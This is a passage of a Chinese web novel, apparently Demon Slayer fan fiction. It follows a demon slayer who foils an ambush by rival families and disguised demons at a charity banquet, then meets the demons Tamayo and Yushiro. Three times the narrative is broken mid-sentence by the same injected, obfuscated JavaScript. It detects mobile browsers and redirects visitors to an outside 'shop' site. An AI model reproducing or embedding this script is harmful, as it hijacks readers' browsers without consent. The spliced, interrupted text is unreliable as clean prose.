“山下那些家族今夜看到那位大人来肯定吓了一跳,不枉我特地招待了工藤那小子几天,搭上线把他爷爷叫了过来。”沼田鸣暗自笑了几声。 今夜的宴会是慈善性质的舞会,邀请函的发布都是看主办方的心思,不过这种半年一届的宴会,高层的那些大人物都不会亲自过来。 山下他们挑这个宴会也抱有这样的心思,一次主办方不是他们的宴会,以及有不在意的小家族做旁观人,一旦出了什么差错也在可以处理的范围。 不过沼田刚次郎防了一手,拉来了几名德高望重的高层人物。直接把山下他们架在的火炉上烤,他们要不计划完美,将自己栽得一干二净,不然稍有差池,那些明面上的证据更是摆在明面上,一清二楚。 而被沼田家族邀请来的工藤老爷子不清楚这场宴会的性质吗?不,他自然知道,沼田家族和山下他们的冲突在这段时日已经闹了太久了,一时的助兴可以,长久将东京浅草搅得不安宁,就失去了限度了。 沼田鸣循着红诀的视线看去,果不其然看到了山下那些人强装镇定的脸色,“你感觉真敏锐,立马就找到那些人了,厉害。” 沼田鸣小心翼翼:“怎么样,有没有鬼的存在?” 红发少年没在意同伴的靠近,他的眼神在四周掠过,也不忽略二楼的长廊处。他平静的眼神一寸寸看过内厅的每个角落,不动声色地将所有人的身份特征都暗自记录下来。 “有。” 红诀收回眼神,平静地回了沼田鸣的问题。 刚刚简单地看下来,这内厅的恶鬼不下十个,都是些换了装扮的服务生和清洁人员,分布在各个角落。除此之外,还有一些气势不凡的普通人,看架势应该都是练家子。 红诀低声将自己发现的一些告诉沼田鸣,闻言沼田鸣浑身鸡皮疙瘩都起来了。他离开鬼杀队前线也有几年,这些年头来,遇到恶鬼的机会很少,有些时候都不用他出手,只要将情报透露给隐,就要其他剑士来清剿。 今天一下面临十多个恶鬼,他突然觉得自己的后背有些发凉。 沼田鸣有些心虚,不动声色地靠近了红诀几分。 “都在哪些方向?” “西南角的花瓶两个,门口的服务生三个,沼田大哥周围三个,还有你说的那些家族周围有两三个,还有楼上……” 红诀平静地说着,眼神一一看过去,在扫到楼上的一处时却突然顿住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701175|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只见楼上的长廊处,在窗帘后正蹲着一只圆滚滚的三花猫,三花猫额头上贴着一张符咒,那双猫眼此刻正带着人性看着楼下的众人。 似乎是注意到红诀打量的目光,三花猫定定地迎着红诀的视线看过来,但只一接触,红诀就注意到它眼中的与人类相似的部分突然消失了,恢复到动物原本的清澈。 “嘶。”一旁的沼田鸣顺着红诀所指的方向看去,不由得倒吸一口凉气,“我大哥周围也有!” “不行,我们跟紧点!” 红诀被沼田鸣拉着往前走了几步,眼神也从那只三花猫身上移开。 而就在红诀站定想要再去寻找那只三花猫的踪迹时,却发现那处窗帘处已经没有了猫的身影。 不见了…… **** 宴会内厅二楼,一只三花猫目标明确地拐进长廊中,熟练地拐了几个弯来到一处亮着灯光的客房。 站定在纸门前,三花猫安静地等待屋内的人开门。 咔嚓一声,纸门露出一条缝隙,三花猫跳入其中,后纸门关上,熟悉的符纸贴在门上,悄无声息地减低了这处客房的存在感。 屋内,符咒的所有人愈史郎将三花猫头上的符咒摘下,松了一口气。 他的身后,收拾着药箱的珠世看了眼三花猫,出声问道,“愈史郎,发现了什么了嘛?” 珠世和愈史郎今夜到这里来,是接了工藤老夫人的委托。那位和蔼的老夫人是珠世的病人,已经在珠世这里接受立马两年的治疗了。 这次工藤老夫人跟随着丈夫来参加宴会,以防万一就把珠世叫上,让她出了一次外勤。 背对着珠世的愈史郎听到珠世的询问,眼底闪过一丝忧色,但还是将自己透过三花猫发现的东西都告诉了珠世大人。 从那夜看到郊外鬼杀队与三名上弦的作战以来,他一直都知道珠世大人的心已经不平静了。被珠世大人转化成恶鬼的他自然懂得珠世大人一直以来的夙愿。 珠世大人一直流浪在各地,为的就是找到能够成功消灭鬼舞辻无惨的方法。 那夜的战斗连他都为现在的鬼杀队实力所震惊,更不论珠世大人。 而那夜那名宛如修罗的红发少年,今日也出现在这个宴会上,此刻,他和珠世大人就只有不到百米的距离。 况且,看刚刚那名少年的眼神,估计已经发现了茶茶丸的不对劲。 他会赶过来吗?他和珠世大人要不要赶紧离开? 愈史郎打心底不信任鬼杀队,毕竟猎鬼者和恶鬼要如何和平相处。 “愈史郎。”珠世敏锐地发现了愈史郎的不安,她将自己的手放在愈史郎的手上,贴心地安慰道。 “无需担心,那名少年来到这里,必然有他自己要做的事情。” 被珠世握住手的愈史郎一下子脸变得通红,剧烈的心跳声已经掩盖过珠世在他身前所说的话,他晕乎乎地顺着珠世的话应下。 “愈史郎,我们在这待到宴会结束就行了。”温婉美丽的女人温声地说着,眼底带着几分执拗的神色,似乎做了一个决定。 “好不好?” “好的!珠世大人!” 92.少年与宴会(二) 内厅内,被沼田鸣拉着的红诀看着四周看似和谐的一切,目光在那几个觉得不对劲的对象身上游离着。 身旁的沼田鸣还在不断和红诀补充着山下那些家族的信息。 那些与沼田鸣敌对的家族中,有小部分是以医药行业为主导的家族,比如半藤与鹤田这两个新兴的家族。同时,这两个家族也是产屋敷家族和沼田家族情报网中的重点关注对象。 毕竟与医药相关,而且多次探子捕捉到的线索中,有几番有关恶鬼的踪迹都是在其势力范围内发现的。 半藤和鹤田这两个家族和鬼舞辻无惨具体有什么联系,此刻并不是红诀关注的问题。伴随着宴会越近尾声,周遭觥筹交错的声音渐渐弱了下来。 内厅中央,工藤老爷子携着他夫人脸上也露出些许疲态,话语间也多次抬手看了眼手腕上的手表。这让围在一旁的山下等人找到了时机,几人看似贴心地照顾了人家夫人的脸色,更是亲自想要引着工藤夫妇离开。 这时候,一直笑意盈盈的沼田刚次郎开口了。 “我看夫人脸色不佳,不如先到客房那里暂时休息下,等身体暂缓再离开也不迟。” 沼田刚次郎话一出,山下等人的脸色一僵。他们都打算等工藤夫妇离开后便动手,但现在沼田刚次郎出口将工藤夫妇留在这里,原本的计划一再地出纰漏,几人的脸色都不太好看。 而沼田刚次郎像是没察觉一般,他事先邀请工藤夫妇便调查到了,因为工藤老夫人身体不佳,所以出行都有携带医生同行。 根据渠口组给的情报,工藤夫妇今日过来也有携带一名医生,而医生此刻就在客房候着。依照工藤先生关心夫人的个性,选择暂时歇下来的可能性非常大。 果不其然,工藤老爷子闻言小声地跟自家夫人附耳几句,后便开口,“你说得对,我们就先移步客房,你们几人继续聊。” 见工藤老爷子应下,山下等人脸色如土,却也不硬着头皮一同跟随着沼田刚次郎的脚步一齐送到通往客房的门口。 目送工藤夫妇离开后,山下几人对着一脸假笑的沼田刚次郎咬牙切齿,“你以为你把工藤先生找来就能改变今晚的结局?” 沼田刚次郎一脸惊讶,“诸位是什么意思,今晚不是一场寻常的慈善宴会吗?” 半藤黑沉着脸,“别在演戏了,你背后那些小动作能瞒得了谁!” 大腹便便的中年人手指一竖,直直指向红诀,“你找这个保镖又有何用,今夜过来,该是什么结局,就该是什么结局!” 山下几人脸色凝重,对半藤毫不遮掩的话却没有出口阻拦的意思,今天的局已经一步步布好,这期间所布防的一切都不能浪费。 他们几人都知道,眼前这个未到三十的年轻人手腕不简单,在最近他们几家施压围堵以来,沼田家族却始终没造成什么实质性的损失。 一旦不能一鼓作气将其完全压制,待他缓过气来,他们之间的局势便会彻底逆转。 今夜,不成功也得成功! 即使沼田这小子叫来了工藤夫妇,但只要不亲眼目睹,真相到底如何,终究是得胜者所书写。 见山下几人彻底撕破脸,沼田刚次郎脸上的神情一变,他不动声色地退到红诀身旁,眼角余光看着周围已经蠢蠢欲动的人和鬼。 事先找工藤夫妇过来,是沼田刚次郎找的后手。 目的有两个,一是逼山下等人改变计划,毕竟宴会上还有很多不知计划的无辜人;二便是以防山下等人撕破脸皮所做的后手。 而目前的状况,山下等人还是选择了最坏的一招。 工藤夫妇的安危有渠口组以及产屋敷耀哉安排的人保护,目前用不着他操心。而外厅的,已经有提前安排的人员进行疏散。 所以,现在最该担心的,是他和自家那不太聪明的弟弟的安全。 寂静的内厅内,伴随沼田刚次郎退后的讯号,半藤等人一声令下,伪装的恶鬼和持枪的杀手一一逼近红诀三人。 突然,一声枪声响起,整个内厅开始变得混乱起来。没反应过来的众人尖叫着争先恐后地往外厅的方向跑去。流弹和利爪之中,红发少年看着眼前仿佛被放慢的一切,手往旁边一伸,将宴会所用的大理石桌面一把举起。 近一米五直径大小的大理石桌面在红诀手里轻若纸板,他将沼田兄弟俩护在身后,手中将圆形的桌面直直往袭来的杀手和恶鬼丢去。 同时还不忘顺手从地上捡起宴会的刀叉,准头极好地将高处的持枪者手里的枪支打落。 短短几秒间,整个内厅变成了一处战场。 红色的身影在混乱中穿梭,速度极快将持枪者中的枪械缴械。沼田鸣带着自家大哥有眼力见地找了个角落,以断裂的石柱为挡板,两兄弟龟缩在一边看着红诀以一敌多。 “一个两个三个……” 沼田鸣目不转睛地看着红诀宛若战神的身影,嘴里不断地数着被撂倒的人。 啪啦啦几声,被红诀缴械的枪械都被他准确地丢在了沼田兄弟面前,尽管沼田刚次郎从产屋敷和自家弟弟嘴里都听过红诀的强悍,但亲眼目睹还是大受震撼。 只见冰火各色的异能之间,红发少年迅捷如雷,总能在恰当的时机躲过突入其来的危险。 “危险!” 沼田刚次郎看着那直冲红诀背后的隐形鬼,正想高声提醒,却对上红发少年的眼神。 少年眼神平静,而手里的刀叉不对准自己背后的敌人而是飞速往自己的方向刺来。轰地一声,沼田鸣一把拉过发愣的沼田刚次郎,帮助自己的哥哥躲过混战中袭来的砖块。 同时,红诀挥来的刀叉也正中隐藏在沼田兄弟背后的另外一只隐形鬼,被附着魔神之力的西餐刀打破了恶鬼的隐形外衣,将恶鬼的身影暴露在沼田兄弟的视线下。 见状,沼田兄弟皆倒吸一口凉气,背后冷汗津津。 “我去,怎么这里还藏有一个!” 沼田鸣直接一脚把被红诀击中的隐形鬼踹了出去,转头拉着沼田刚次郎就往另外一个角落跑去。 多年不练,但好歹还是有过训练的底子。修习雷之呼吸的沼田鸣运用呼吸法带着自家大哥飞速穿过混乱的战场。其间躲过飞溅的砖块三块,被打飞的人形物体两个。 被拉着的沼田刚次郎也不拖后腿,将自己顺过来的砖头往山下等人的方向一丢,准确命中站在最前面指挥得最起劲的半藤。 让你叫嚣!乱来的东西! 砰地一声,大腹便便的半藤脑袋顶着一个鲜明的转头印记直挺挺地倒了下去。 “半藤先生!” “赶紧把沼田兄弟解决了!不要管那个红发的小子!” 山下看着无比混乱的场面高声呐喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729529|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,恨不得亲自上阵,可惜声音在混乱中还没有雨点大,被牢牢牵制住的手下人压根没有听见。 内厅中央,红诀拆下了一根支撑柱,抱在怀里舞得飞起,将无数弹雨和袭来的恶鬼尽数击飞,牢牢护着躲藏在角落中的沼田兄弟。 眼看强攻不下,动静却越来越大。 除半藤昏迷外的山下几人看着站在沼田兄弟前面宛若一堵密不透风的墙的红发少年,牙根都要咬碎了。 而一直保持沉默的鹤田从怀里拿出一枚手掌大的木牌,猛地一把捏碎。 随着木牌的碎裂,在场的众人都感觉到了一股不妙的气息。挥舞着石柱的红诀手里的动作也一顿,他将周围的围攻者尽数扫开,右手在背后对着沼田鸣那边做了一个手势。 “喂喂喂,你居然把那个叫过来了!”山下看着鹤田手里已经化作碎片的木牌,声音颤抖。 鹤田脸色难看,“现在不叫过来,要等到什么时候!等事情败露一起完蛋吗!” 可别忘了工藤夫妇就在客房那里,留给他们的时间不多了! 伴随着一阵烟雾弥漫,二楼的窗户处突然传来一阵玻璃破裂的声音,一只有着三个头颅的狰狞恶鬼从高处落下,落地时轰然带动大片扬尘,气势惊人。 三头恶鬼身穿宽松的武士服,三个头颅上分别是不同年纪的面孔,居于中间是幼儿样貌的稚童,左侧为光头的老者,右侧为蓄须的壮汉。 三头恶鬼一出现,沼田鸣便感到与刚刚不同的压迫感。根据他的判断至少是甲乙级别的鬼杀队剑士才能接触到的任务对象。 “叫我何事?” 三个头颅之中,稳重的老者头颅微微开口,其余的两个头颅正眼神中打着打量扫视周围的一切。 “大人,请帮助我们解决那三个人!” 见三头恶鬼出现,鹤田原本面如土色的脸好看了不少,嗓门也大了些。 不过比起鹤田,山下几人眼神中多是对三头恶鬼的畏惧,都噤声不语。 “我看看,三个小鬼头?” 幼儿头颅率先锁定倚在石柱上的红诀,稚童样貌下周遭的气场却带着令人不适的血腥味。 被盯着看的红诀脸上没有丝毫变化,他轻轻嗅了嗅内厅的气味,眼神中对三头恶鬼多了几分厌恶。凭着恶鬼身上的血腥味,估计吃了不下数十人。 没想到按捺了这么久,就钓出了这么一条鱼。 红诀来时有想过山下他们几人与鬼舞辻无惨的联系有多深,他也没有直接接触过与鬼舞辻无惨有关系的直属高级鬼。迄今为止,上弦鬼和鬼舞辻无惨他通通都见过。眼前的恶鬼,比起黑死牟他们,只能算是个小喽啰。 不过看山下他们的眼色,这估计就是他们所能接触到的最高级别的恶鬼了。 既然主角登场了,这场戏码也该结束了。 没等三头恶鬼看清红诀的样貌,红发少年就微微张口。 “沙之呼吸,三之型,沙龙的咆哮。” 下一刻,无形的音浪以红诀为中心向四周肆意铺开,只是一个照面,除事先接收过讯号有所准备的沼田两兄弟,其余人和鬼都在一瞬间陷入了昏迷。 整个内厅,陷入了一片寂静之中。 这…… 沼田刚次郎看着眨眼间发生的一切,心头大震。 这就是鬼杀队柱级的实力。 93.少年与碰面 内厅内,无声的咆哮声席卷开来,除了还清醒的红诀三人,其余人在一瞬间都陷入了昏迷。 被鹤田等人当作大佬的三头恶鬼也不例外,它更是第一个被咆哮声命中,庞大的身躯轰然倒地,扬起大片尘土。见三头恶鬼倒下,红诀轻车熟路地走上前去,乘鬼舞辻无惨那边还没将视线转到三头鬼这边时,采用魔神之力单面屏蔽掉他的窥探。 沼田刚次郎还没从红诀那咆哮一击的震撼中回过神来,混乱中他原本整齐的衣装多了几分狼狈,他愣愣地看着鬼杀队的人从不知道哪里的角落里窜了出来,熟练至极地将倒地的三头恶鬼抬走。 几名剑士合作默契地抬起恶鬼,还不忘对他们尊敬的沙柱大人点了点头。 他们脚步极快,手脚麻利,转眼就将三头鬼的痕迹清除干净。 沼田刚次郎甚至还能听到他们走过自己身边时的谈话。 “不愧是沙柱大人。眨眼间就解决掉恶鬼。” “那当然,我可听说沙柱大人都直面过上弦鬼了。” “区区没有上弦名头的三头鬼,沙柱大人肯定不在话下。” 几人谈话的语气带着自豪和轻松,虽然沼田刚次郎一早就知道这一切都在计划之中,但直面事实,见识过红诀在瞬间结束战斗的他还是免不了震惊。 不是说等钓出大鱼才是计划关键吗? 怎么眨眼间就结束战斗了,甚至之前那场混战看起来更像一回事阿! 满腹都是吐槽的沼田刚次郎憋得脖颈处青筋暴起,只能顺着计划继续执行下去。 鬼杀队的手脚极快,这几个月来,对于打晕恶鬼送去审讯的工作流程,剑士们已经相当熟练。有了蝴蝶屋出品的靠谱药剂,他们也不用担心恶鬼突然醒来的问题,直接一针下去,小山般的恶鬼也得歇菜。 多了鬼杀队的剑士善后,整个内厅属于恶鬼的痕迹都被清除干净,剩下的就只是属于枪支的痕迹,和已经被红诀几拳轰断的断壁残垣。 当然还有,如今还深陷昏迷之中的山下一行人。 内厅内,红诀看自己今日的工作已经完成,就自觉拍了拍自己手里残余的灰,带着几分乖顺地走到沼田刚次郎身边,眼神示意接下来的戏就交给沼田大哥了。 接受到红诀眼神中的意思,沼田刚次郎不自觉扯了扯自己的嘴角,正想说些什么,就听见自家弟弟揪住自己的袖子,小声提醒已经来人了。 内厅爆发的动静终于引来了外厅和客房那边的安保。 驻守在外厅的保镖武士们,在半小时之后,终于姗姗来迟。几波人看似十分有架势地持枪赶到内厅,却在看到混乱的内厅场景停下了脚步。 几波人之中,既有已经昏迷的山下等人的安排,也有沼田刚次郎他们安排的人。 而客房那边,原本被邀请至后面休息的工藤先生在一众保镖的拥护中赶来。 见演员全部登场,沼田鸣意思意思地拉了拉自家大哥的袖子,提醒沼田刚次郎可以开演了。 伴随着工藤老爷子那一句难掩震惊的“怎么回事?”开场,沼田刚次郎脸色一变,满脸愤恨地开始和工藤老爷子告状,将内厅所发生的一切都归结于山下等人对其的刺杀,将所有一切都扣在了山下等人的头上。 期间更是添油加醋些许,听着沼田刚次郎的声嘶力竭,剩下被山下他们安排的人愣是上前也不是,说话也不是。能怎么办,能对峙的当家还昏在地上人事不省,连能辩的主事人都不在,只能看着工藤老爷子在沼田刚次郎的说辞中对自己的眼光变得越发阴沉。 而造成这一切的另一重要演员红诀则是无声退到角落,静静地看着鸿门宴的尾声走向计划中的结局。 人证、物证确凿,逃往外厅的内厅宴客清楚看清了是山下等人先发难的事实,而原本被安排在外厅准备抹除内厅宴客的山下武士们也早早被渠口组的人拦住。 没能替山下等人解决掉人证,自家的主事人也没及时地辩驳,最后落得的结局则是警察介入,工藤代表的公正势力下场。 今夜过后,山下等人所代表的家族,算是彻底在这场对局中落得了败局。 而早有准备的沼田家族,则是最大的赢家,不仅踩下了一直针对自己的山下等家族,也正式以雷霆手段再度出现在上层眼中,比以往更上了一层楼。 闹哄哄的内厅内,充斥了沼田刚次郎和工藤老爷子告状声,一旁还有捧哏沼田鸣搭腔,两兄弟一来一合,将锅牢牢地扣在了山下等人的头上。 因为事先有考虑,提前将恶鬼的痕迹抹除干净,这样一来,就算山下等人醒来想要反咬一口,牵扯到产屋敷也没有证据。 而红诀则是安静地站在角落,除了刚刚站出来让工藤老爷子认认脸外,他都一言不发。有沼田家族其余的保镖武士在,红诀的保镖工作也正式结束了。 亮堂的内厅内,红诀的眼神开始似有似无地看向客房的方向。 处理完要紧的事务后,刚刚在宴会上看见的那只三花猫也成为了红诀在意的对象。那时隔着有一段距离,他并不能很好判断那只三花猫上是否有恶鬼的气味。 但那通人性的眼神让多年执行任务的他还是有些在意,红发少年澄澈的眼眸倒影着那条昏暗的长廊,似乎在等待着什么。 在原地踌躇了几分钟,红诀还是难忍心中的在意,他对看过来的沼田鸣打了个招呼,并抬脚往通往客房的长廊走去。 长廊内只有两侧昏暗的烛光照耀,与透过窗户洒进来的月光相比,还弱了几分。 红诀慢慢走在光滑的木地板上,走动间鞋跟碰击地面,发出带有节奏的声响。一步一步,他缓慢地走到尽头,面对岔路口,他凭着直觉转向,在不知不觉间逐渐深入后院客房之中。 而另一边,还亮着灯光的客房内。 整理药箱的愈史郎手里的动作一顿,他侧耳一听,属于外人的脚步声在一步步靠近。 不算宽敞的客房内,除了愈史郎外,还有面露疲惫的工藤老夫人,以及候在她身边的珠世。愈史郎所能听到的动静,珠世也听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749920|123822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得见。 在场的两鬼一人内,除了工藤老夫人,都听到了那一步步逼近的脚步声。 同时,他们也猜到了来者的身份。 眼见脚步声越来越近,沉不住气的愈史郎率先站起身来,他看向珠世,正想开口,却看到珠世对他摇了摇头。 珠世大人? 愈史郎不解地看着她,在蓝发少年的注视下,温婉美丽的女人缓缓起身,低声朝还在小憩的工藤老夫人说了几句,便在愈史郎逐渐不可置信的眼神中越过了少年一侧。 啪嗒一声,愈史郎在错身的片刻抓住了珠世的手,却得到了女人的安抚。 珠世大人,您想要干什么? 对视间,两人眼神不断交流。 愈史郎,不必害怕。 珠世的眼神带着几分坚定,她慢慢挣脱出愈史郎的手,推开了纸门,在愈史郎要跟上来之前快速地关上了门。 见此,愈史郎正欲抬手去推,那逐渐靠近的脚步声却停了。烛火摇晃,蓝发少年能清晰地看见眼前的纸门上除了珠世的身影,还有另外一道影子覆盖其上。 透过门缝,他能看到记忆中那浓烈的红色。 那名强大的鬼杀队少年,此刻正站在外面,他正站在珠世大人的前面。 长廊内,氛围在沉静中又带来几分紧迫。 红诀看着眼前出现的女人,浑身的肌肉在瞬间紧绷起来,他那敏锐的嗅觉能闻出来,眼前这名女子是恶鬼。 那属于恶鬼的恶臭之中,还蕴藏着浓郁的花香,花香弥漫,在气味的弥漫中若隐若现,有时甚至掩盖掉那浓郁的恶臭味。 奇怪?没有恶意的恶鬼? 红诀的直觉中,眼前的这名女子并没有恶意。除去没有恶意,她甚至有些紧张,红诀能清楚地看到女子紧握地双手,指甲甚至深深陷入肌肤内,差分毫就能刺破肌肤。 僵持之际,珠世率先开口:“客人,里面夫人正在休息,不如我们借一步说话?” 闻言,红诀的眼神落在了他身后,愈史郎站在屋内的身影他没有错过。 两名鬼,还有一名普通人类。 红诀的眼神有些沉下来,眼前女人口中的话在邀请背后还包含着威胁。 红诀周身的气势变化,珠世没有错过,她能瞬间感到眼前红发的少年的眼神从打量变得冷漠。这其中的原因她或多或少能猜出来,但她也没有办法。 见局势恶化,她再度开口,“或许你听过灶门兄妹?我和那对兄妹有过一面之缘。” “炭治郎和祢豆子?” 红发少年周身压迫性的气势在听到灶门兄妹名字的那一刻,顿时软化了下来。 她怎么会认识灶门兄妹? 想到祢豆子的那只鬼化的手臂,红诀意识到此时的见面背后还有秘密。 这名女子,似乎有什么话要跟自己说。 沉默良久,在珠世忍不住再次开口前,红发少年出声了。 “你将你里面的人喊出来,我们到隔壁去。”